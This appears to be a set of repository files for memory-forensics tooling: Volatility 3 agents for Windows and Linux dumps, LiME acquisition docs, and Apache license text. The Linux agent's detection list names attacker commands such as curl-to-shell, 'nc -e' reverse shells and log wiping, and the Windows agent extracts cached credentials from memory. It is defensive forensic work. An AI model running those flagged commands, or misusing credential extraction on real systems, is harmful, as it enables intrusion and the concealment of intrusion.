||||
return cmdlines
|
||||
|
||||
|
||||
def dump_credentials(memory_dump):
|
||||
"""Extract cached credentials using hashdump and lsadump."""
|
||||
results = {}
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.hashdump")
|
||||
if rc == 0:
|
||||
results["hashdump"] = stdout
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.cachedump")
|
||||
if rc == 0:
|
||||
results["cachedump"] = stdout
|
||||
stdout, _, rc = run_vol3(memory_dump, "windows.lsadump")
|
||||
if rc == 0:
|
||||
results["lsadump"] = stdout
|
||||
return results
|
||||
|
||||
|
||||
def scan_with_yara(memory_dump, yara_file=None, yara_rule=None, pid=None):
|
||||
"""Scan memory with YARA rules."""
|
||||
extra = ""
|
||||
if yara_file:
|
||||
extra += f"--yara-file {yara_file}"
|
||||
elif yara_rule:
|
||||
extra += f'--yara-rules "{yara_rule}"'
|
||||
if pid:
|
||||
extra += f" --pid {pid}"
|
||||
stdout, _, rc = run_vol3(memory_dump, "yarascan.YaraScan", extra)
|
||||
return stdout if rc == 0 else ""
|
||||
|
||||
|
||||
def check_suspicious_processes(pslist_procs):
|
||||
"""Check process list for common suspicious indicators."""
|
||||
findings = []
|
||||
expected_parents = {
|
||||
"svchost.exe": ["services.exe"],
|
||||
"csrss.exe": ["smss.exe"],
|
||||
"lsass.exe": ["wininit.exe"],
|
||||
"smss.exe": ["System"],
|
||||
}
|
||||
name_counts = {}
|
||||
for p in pslist_procs:
|
||||
name = p["name"].lower()
|
||||
name_counts[name] = name_counts.get(name, 0) + 1
|
||||
|
||||
if name_counts.get("lsass.exe", 0) > 1:
|
||||
findings.append({"severity": "CRITICAL",
|
||||
"finding": "Multiple lsass.exe instances detected"})
|
||||
|
||||
misspellings = {
|
||||
"scvhost.exe": "svchost.exe", "svch0st.exe": "svchost.exe",
|
||||
"lssas.exe": "lsass.exe", "csrs.exe": "csrss.exe",
|
||||
}
|
||||
for p in pslist_procs:
|
||||
if p["name"].lower() in misspellings:
|
||||
findings.append({
|
||||
"severity": "HIGH",
|
||||
"finding": f"Misspelled process: {p['name']} (PID {p['pid']}) "
|
||||
f"mimicking {misspellings[p['name'].lower()]}",
|
||||
})
|
||||
return findings
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Memory Forensics Agent (Volatility 3)")
|
||||
print("Process analysis, injection detection, credential extraction")
|
||||
print("=" * 60)
|
||||
|
||||
dump_file = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if dump_file and os.path.exists(dump_file):
|
||||
print(f"\n[*] Analyzing memory dump: {dump_file}")
|
||||
print(f"[*] Size: {os.path.getsize(dump_file) / (1024**3):.1f} GB")
|
||||
|
||||
print("\n--- OS Identification ---")
|
||||
os_info = get_os_info(dump_file)
|
||||
print(f" OS: {os_info['os']}")
|
||||
|
||||
print("\n--- Process Analysis ---")
|
||||
procs = list_processes(dump_file)
|
||||
print(f" Active processes: {len(procs)}")
|
||||
suspicious = check_suspicious_processes(procs)
|
||||
for s in suspicious:
|
||||
print(f" [{s['severity']}] {s['finding']}")
|
||||
|
||||
print("\n--- Hidden Process Detection ---")
|
||||
psscan = scan_hidden_processes(dump_file)
|
||||
hidden = find_hidden_processes(procs, psscan)
|
||||
if hidden:
|
||||
for h in hidden:
|
||||
print(f" [!] Hidden process: {h['name']} PID={h['pid']}")
|
||||
else:
|
||||
print(" No hidden processes detected")
|
||||
|
||||
print("\n--- Code Injection Detection ---")
|
||||
injections = detect_code_injection(dump_file)
|
||||
print(f" Injected regions: {len(injections)}")
|
||||
for inj in injections[:5]:
|
||||
print(f" [!] PID {inj['pid']} ({inj.get('process', '')}): {inj.get('protection', '')}")
|
||||
|
||||
print("\n--- Network Connections ---")
|
||||
conns = get_network_connections(dump_file)
|
||||
established = [c for c in conns if "ESTABLISHED" in c.get("state", "")]
|
||||
print(f" Total: {len(conns)}, Established: {len(established)}")
|
||||
for c in established[:10]:
|
||||
print(f" {c.get('owner', '?')} (PID {c.get('pid', '?')}): "
|
||||
f"{c['local_addr']}:{c['local_port']} -> "
|
||||
f"{c['foreign_addr']}:{c['foreign_port']}")
|
||||
else:
|
||||
print(f"\n[DEMO] Usage: python agent.py <memory.dmp>")
|
||||
print("[*] Provide a memory dump for forensic analysis.")
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,91 @@
|
||||
---
|
||||
name: analyzing-memory-forensics-with-lime-and-volatility
|
||||
description: 'Performs Linux memory acquisition using LiME (Linux Memory Extractor)
|
||||
kernel module and analysis with Volatility 3 framework. Extracts process lists,
|
||||
network connections, bash history, loaded kernel modules, and injected code from
|
||||
Linux memory images. Use when performing incident response on compromised Linux
|
||||
systems.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: security-operations
|
||||
tags:
|
||||
- memory-forensics
|
||||
- linux-forensics
|
||||
- lime
|
||||
- volatility
|
||||
- incident-response
|
||||
- kernel-modules
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- DE.CM-01
|
||||
- RS.MA-01
|
||||
- GV.OV-01
|
||||
- DE.AE-02
|
||||
mitre_attack:
|
||||
- T1055
|
||||
- T1003.001
|
||||
- T1620
|
||||
- T1564.001
|
||||
---
|
||||
|
||||
# Analyzing Memory Forensics with LiME and Volatility
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When investigating security incidents that require analyzing memory forensics with lime and volatility
|
||||
- When building detection rules or threat hunting queries for this domain
|
||||
- When SOC analysts need structured procedures for this analysis type
|
||||
- When validating security monitoring coverage for related attack techniques
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Familiarity with security operations concepts and tools
|
||||
- Access to a test or lab environment for safe execution
|
||||
- Python 3.8+ with required dependencies installed
|
||||
- Appropriate authorization for any testing activities
|
||||
|
||||
## Instructions
|
||||
|
||||
Acquire Linux memory using LiME kernel module, then analyze with Volatility 3
|
||||
to extract forensic artifacts from the memory image.
|
||||
|
||||
```bash
|
||||
# LiME acquisition
|
||||
insmod lime-$(uname -r).ko "path=/evidence/memory.lime format=lime"
|
||||
|
||||
# Volatility 3 analysis
|
||||
vol3 -f /evidence/memory.lime linux.pslist
|
||||
vol3 -f /evidence/memory.lime linux.bash
|
||||
vol3 -f /evidence/memory.lime linux.sockstat
|
||||
```
|
||||
|
||||
```python
|
||||
import volatility3
|
||||
from volatility3.framework import contexts, automagic
|
||||
from volatility3.plugins.linux import pslist, bash, sockstat
|
||||
|
||||
# Programmatic Volatility 3 usage
|
||||
context = contexts.Context()
|
||||
automagics = automagic.available(context)
|
||||
```
|
||||
|
||||
Key analysis steps:
|
||||
1. Acquire memory with LiME (format=lime or format=raw)
|
||||
2. List processes with linux.pslist, compare with linux.psscan
|
||||
3. Extract bash command history with linux.bash
|
||||
4. List network connections with linux.sockstat
|
||||
5. Check loaded kernel modules with linux.lsmod for rootkits
|
||||
|
||||
## Examples
|
||||
|
||||
```bash
|
||||
# Full forensic workflow
|
||||
vol3 -f memory.lime linux.pslist | grep -v "\[kthread\]"
|
||||
vol3 -f memory.lime linux.bash
|
||||
vol3 -f memory.lime linux.malfind
|
||||
vol3 -f memory.lime linux.lsmod
|
||||
```
|
||||
@@ -0,0 +1,58 @@
|
||||
# API Reference: Analyzing Memory Forensics with LiME and Volatility
|
||||
|
||||
## LiME (Linux Memory Extractor)
|
||||
|
||||
```bash
|
||||
# Build LiME module
|
||||
cd LiME/src && make
|
||||
|
||||
# Acquire memory (lime format - includes metadata)
|
||||
insmod lime-$(uname -r).ko "path=/evidence/mem.lime format=lime"
|
||||
|
||||
# Acquire memory (raw format)
|
||||
insmod lime-$(uname -r).ko "path=/evidence/mem.raw format=raw"
|
||||
|
||||
# Acquire over network
|
||||
insmod lime.ko "path=tcp:4444 format=lime"
|
||||
# On forensic workstation: nc target 4444 > mem.lime
|
||||
```
|
||||
|
||||
## Volatility 3 Linux Plugins
|
||||
|
||||
| Plugin | Description |
|
||||
|--------|-------------|
|
||||
| `linux.pslist` | List processes via task_struct |
|
||||
| `linux.psscan` | Brute-force scan for task_struct |
|
||||
| `linux.bash` | Recovered bash command history |
|
||||
| `linux.sockstat` | Network connections |
|
||||
| `linux.lsmod` | Loaded kernel modules |
|
||||
| `linux.malfind` | Detect injected code |
|
||||
| `linux.check_afinfo` | Detect network hooking |
|
||||
| `linux.tty_check` | Detect TTY hooking |
|
||||
| `linux.proc.Maps` | Process memory maps |
|
||||
|
||||
## Volatility 3 CLI
|
||||
|
||||
```bash
|
||||
vol3 -f memory.lime linux.pslist
|
||||
vol3 -f memory.lime linux.bash
|
||||
vol3 -f memory.lime linux.sockstat
|
||||
vol3 -f memory.lime linux.malfind
|
||||
vol3 -f memory.lime linux.lsmod
|
||||
vol3 -f memory.lime linux.check_afinfo
|
||||
```
|
||||
|
||||
## Hidden Process Detection
|
||||
|
||||
```bash
|
||||
# Compare pslist (linked list) vs psscan (brute force)
|
||||
vol3 -f mem.lime linux.pslist > pslist.txt
|
||||
vol3 -f mem.lime linux.psscan > psscan.txt
|
||||
diff pslist.txt psscan.txt
|
||||
```
|
||||
|
||||
### References
|
||||
|
||||
- LiME: https://github.com/504ensicsLabs/LiME
|
||||
- Volatility 3: https://github.com/volatilityfoundation/volatility3
|
||||
- Volatility 3 docs: https://volatility3.readthedocs.io/
|
||||
@@ -0,0 +1,207 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for Linux memory forensics using LiME acquisition and Volatility 3."""
|
||||
|
||||
import json
|
||||
import subprocess
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
def acquire_memory_lime(output_path, lime_format="lime"):
|
||||
"""Acquire memory using LiME kernel module."""
|
||||
kernel_version = subprocess.run(
|
||||
["uname", "-r"], capture_output=True, text=True, timeout=120
|
||||
).stdout.strip()
|
||||
lime_module = f"lime-{kernel_version}.ko"
|
||||
if not Path(lime_module).exists():
|
||||
lime_module = "lime.ko"
|
||||
cmd = ["insmod", lime_module, f"path={output_path}", f"format={lime_format}"]
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
|
||||
return {
|
||||
"status": "success" if result.returncode == 0 else "failed",
|
||||
"output_path": output_path,
|
||||
"format": lime_format,
|
||||
"kernel": kernel_version,
|
||||
"stderr": result.stderr,
|
||||
}
|
||||
|
||||
|
||||
def run_vol3_plugin(image_path, plugin_name, extra_args=None):
|
||||
"""Run a Volatility 3 plugin and capture output."""
|
||||
cmd = ["vol3", "-f", image_path, plugin_name]
|
||||
if extra_args:
|
||||
cmd.extend(extra_args)
|
||||
try:
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, text=True, timeout=300,
|
||||
)
|
||||
lines = result.stdout.strip().splitlines()
|
||||
return {"plugin": plugin_name, "output": lines, "error": result.stderr.strip()}
|
||||
except subprocess.TimeoutExpired:
|
||||
return {"plugin": plugin_name, "output": [], "error": "Timeout"}
|
||||
|
||||
|
||||
def parse_pslist_output(lines):
|
||||
"""Parse Volatility linux.pslist output into structured data."""
|
||||
processes = []
|
||||
for line in lines:
|
||||
parts = line.split()
|
||||
if len(parts) >= 4 and parts[0].isdigit():
|
||||
processes.append({
|
||||
"pid": int(parts[0]),
|
||||
"ppid": int(parts[1]) if parts[1].isdigit() else 0,
|
||||
"name": parts[-1],
|
||||
})
|
||||
return processes
|
||||
|
||||
|
||||
def list_processes(image_path):
|
||||
"""List all processes from memory image."""
|
||||
result = run_vol3_plugin(image_path, "linux.pslist")
|
||||
return parse_pslist_output(result.get("output", []))
|
||||
|
||||
|
||||
def extract_bash_history(image_path):
|
||||
"""Extract bash command history from memory."""
|
||||
result = run_vol3_plugin(image_path, "linux.bash")
|
||||
commands = []
|
||||
for line in result.get("output", []):
|
||||
parts = line.split(None, 3)
|
||||
if len(parts) >= 4 and parts[0].isdigit():
|
||||
commands.append({
|
||||
"pid": int(parts[0]),
|
||||
"name": parts[1],
|
||||
"timestamp": parts[2] if len(parts) > 2 else "",
|
||||
"command": parts[3] if len(parts) > 3 else "",
|
||||
})
|
||||
return commands
|
||||
|
||||
|
||||
def list_network_connections(image_path):
|
||||
"""List network connections from memory."""
|
||||
result = run_vol3_plugin(image_path, "linux.sockstat")
|
||||
connections = []
|
||||
for line in result.get("output", []):
|
||||
if "TCP" in line or "UDP" in line:
|
||||
connections.append(line.strip())
|
||||
return connections
|
||||
|
||||
|
||||
def list_kernel_modules(image_path):
|
||||
"""List loaded kernel modules to detect rootkits."""
|
||||
result = run_vol3_plugin(image_path, "linux.lsmod")
|
||||
modules = []
|
||||
for line in result.get("output", []):
|
||||
parts = line.split()
|
||||
if parts and not parts[0].startswith("Offset"):
|
||||
modules.append({"name": parts[-1] if parts else line.strip()})
|
||||
return modules
|
||||
|
||||
|
||||
def detect_hidden_processes(image_path):
|
||||
"""Compare pslist vs psscan to find hidden processes."""
|
||||
pslist = run_vol3_plugin(image_path, "linux.pslist")
|
||||
psscan = run_vol3_plugin(image_path, "linux.psscan")
|
||||
pslist_pids = set()
|
||||
for line in pslist.get("output", []):
|
||||
parts = line.split()
|
||||
if parts and parts[0].isdigit():
|
||||
pslist_pids.add(int(parts[0]))
|
||||
hidden = []
|
||||
for line in psscan.get("output", []):
|
||||
parts = line.split()
|
||||
if parts and parts[0].isdigit():
|
||||
pid = int(parts[0])
|
||||
if pid not in pslist_pids and pid > 0:
|
||||
hidden.append({"pid": pid, "line": line.strip()})
|
||||
return hidden
|
||||
|
||||
|
||||
def detect_suspicious_commands(bash_history):
|
||||
"""Flag suspicious commands in bash history."""
|
||||
suspicious_patterns = [
|
||||
"curl.*|.*sh", "wget.*&&.*chmod", "base64.*-d",
|
||||
"nc.*-e", "python.*-c.*import.*socket",
|
||||
"nohup", "rm.*-rf.*/var/log", "history.*-c",
|
||||
"iptables.*-F", "chmod.*777", "chattr.*-i",
|
||||
]
|
||||
import re
|
||||
findings = []
|
||||
for entry in bash_history:
|
||||
cmd = entry.get("command", "")
|
||||
for pattern in suspicious_patterns:
|
||||
if re.search(pattern, cmd, re.IGNORECASE):
|
||||
findings.append({
|
||||
"pid": entry["pid"],
|
||||
"command": cmd,
|
||||
"pattern": pattern,
|
||||
"severity": "HIGH",
|
||||
})
|
||||
break
|
||||
return findings
|
||||
|
||||
|
||||
def check_malfind(image_path):
|
||||
"""Run malfind to detect injected code."""
|
||||
result = run_vol3_plugin(image_path, "linux.malfind")
|
||||
return result.get("output", [])
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="LiME + Volatility 3 Forensics Agent")
|
||||
parser.add_argument("--image", help="Path to memory image")
|
||||
parser.add_argument("--acquire", help="Output path for LiME acquisition")
|
||||
parser.add_argument("--output", default="memory_forensics_report.json")
|
||||
parser.add_argument("--action", choices=[
|
||||
"acquire", "pslist", "bash", "network", "modules",
|
||||
"hidden", "malfind", "full_analysis"
|
||||
], default="full_analysis")
|
||||
args = parser.parse_args()
|
||||
|
||||
report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}}
|
||||
|
||||
if args.action == "acquire" and args.acquire:
|
||||
result = acquire_memory_lime(args.acquire)
|
||||
report["findings"]["acquisition"] = result
|
||||
print(f"[+] Memory acquisition: {result['status']}")
|
||||
return
|
||||
|
||||
if not args.image:
|
||||
print("[-] --image required for analysis actions")
|
||||
return
|
||||
|
||||
if args.action in ("pslist", "full_analysis"):
|
||||
procs = list_processes(args.image)
|
||||
report["findings"]["processes"] = procs
|
||||
print(f"[+] Processes: {len(procs)}")
|
||||
|
||||
if args.action in ("bash", "full_analysis"):
|
||||
history = extract_bash_history(args.image)
|
||||
report["findings"]["bash_history"] = history
|
||||
suspicious = detect_suspicious_commands(history)
|
||||
report["findings"]["suspicious_commands"] = suspicious
|
||||
print(f"[+] Bash commands: {len(history)}, Suspicious: {len(suspicious)}")
|
||||
|
||||
if args.action in ("network", "full_analysis"):
|
||||
conns = list_network_connections(args.image)
|
||||
report["findings"]["connections"] = conns
|
||||
print(f"[+] Network connections: {len(conns)}")
|
||||
|
||||
if args.action in ("modules", "full_analysis"):
|
||||
modules = list_kernel_modules(args.image)
|
||||
report["findings"]["kernel_modules"] = modules
|
||||
print(f"[+] Kernel modules: {len(modules)}")
|
||||
|
||||
if args.action in ("hidden", "full_analysis"):
|
||||
hidden = detect_hidden_processes(args.image)
|
||||
report["findings"]["hidden_processes"] = hidden
|
||||
print(f"[+] Hidden processes: {len(hidden)}")
|
||||
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2, default=str)
|
||||
print(f"[+] Report saved to {args.output}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
